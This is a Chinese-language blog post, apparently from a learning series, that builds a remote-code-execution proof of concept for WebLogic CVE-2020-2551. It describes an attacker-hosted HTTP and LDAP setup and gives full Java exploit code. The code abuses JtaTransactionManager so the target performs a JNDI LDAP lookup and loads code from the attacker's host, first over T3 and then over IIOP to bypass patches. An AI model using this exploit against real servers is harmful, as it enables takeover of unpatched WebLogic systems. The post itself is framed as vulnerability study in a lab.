JAVA远程加载利用学习五:weblogic实践(CVE-2020-2551)

接下来就是用之前的理解去日weblogic,说到底就是让weblogic 执行 InitialContext.lookup()方法,参数是我们提供的恶意ldap服务,然后远程加载恶意代码。

这里 还要继续用《JAVA序列化利用学习四:ldap lookup + javaCodebase 从http加载payload》的部分类。

准备

weblogic用的是12.1.3,Windows平台。192.168.1.217。
攻击还是从kali发起的。192.168.1.99。
HttpServer类不变,启动。
ExportObject里执行的命令换成:

            //exec("gnome-calculator");
            exec("calc");

启动LDAPRefServer。
把LDAPServer2中的javaCodebase的http地址换成kali的IP(192.168.1.99)

        Attribute mod2 = new BasicAttribute("javaCodebase",
                "http://192.168.1.99:8000/");

启动LDAPServer2,向LDAP服务插入数据。
准备好这些,就可以日weblogic了。

攻击

去weblogic里拿:
com.bea.core.repackaged.apache.commons.logging_1.2.1.jar
com.bea.core.repackaged.springframework.pitchfork_1.4.0.0_1-0.jar
com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar
wlclient.jar
这四个包,导入到项目。
先复习一下T3协议的攻击:

package com.hans.weblogicLdapExploit;

import java.util.Hashtable;

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;


import javax.ejb.EJBHome;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class WeblogicLdapLookup {
    public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    public final static String url = "t3://192.168.1.217:7001";
    
    public static void main(String[] args) throws NamingException, ClassNotFoundException {
    	try {
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
            env.put(Context.PROVIDER_URL, url);
        Context initialContext = new InitialContext(env);

        String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
        
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        
        EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
        ejbHome.remove(jtaTransactionManager);
        
    	}catch(Exception e) {
    		System.out.println(e);
    	}
    }
        
}

我不知道EJBHome做什么,我要假装知道EJBHome长什么样:

package javax.ejb;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface EJBHome extends Remote {
    void remove(Handle var1) throws RemoteException, RemoveException;

    void remove(Object var1) throws RemoteException, RemoveException;

    EJBMetaData getEJBMetaData() throws RemoteException;

    HomeHandle getHomeHandle() throws RemoteException;
}

关于 JtaTransactionManager 的利用链,https://paper.seebug.org/1091/#jndildap 有详细的说明。
该利用方式适合没打补丁的weblogic:

由于后续的补丁在T3协议readObject的时候加了黑名单,所以JtaTransactionManager 的利用链在打上补丁的weblogic就失效了。

CVE-2020-2551

在2020年年初的时候爆出来 使用iiop协议可以绕过限制(CVE-2020-2551),造成远程代码执行 https://qiita.com/shimizukawasaki/items/7e01401a706900435591
然后我在这遇到一个巨坑!卡了我好久。
我一开始用的wlthint3client.jar包,结果利用IIOP协议的时候一直报
weblogic.jndi.WLInitialContextFactory Unknown protocol IIOP
找了好久才发现用的是t3的client包(wlthint3client.jar)!奶奶的。
去weblogic里拿个wlclient.jar换进来就好了。

对前面的payload稍加修改

package com.hans.weblogicLdapExploit;

import java.util.Hashtable;

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;

import javax.ejb.EJBHome;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class WeblogicLdapLookup {
	/**/
    public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    public final static String url = "iiop://192.168.1.217:7001";
    
    public static void main(String[] args) throws NamingException, ClassNotFoundException {
    	try {
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
            env.put(Context.PROVIDER_URL, url);
        Context initialContext = new InitialContext(env);
        
        String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
        
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        
        EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
        ejbHome.remove(jtaTransactionManager);     
        
    	}catch(Exception e) {
    		System.out.println(e);
    	}
    }
        
}

可远程执行ExportObject的代码。
查看weblogic的错误日志,确实发生在IIOP协议:

由于我没有weblogic的补丁,只是凭现有的信息和知识,猜测,这应该就是CVE-2020-2551的POC。
完全代码放到我的 gitlab

Leave a Reply

Your email address will not be published. Required fields are marked *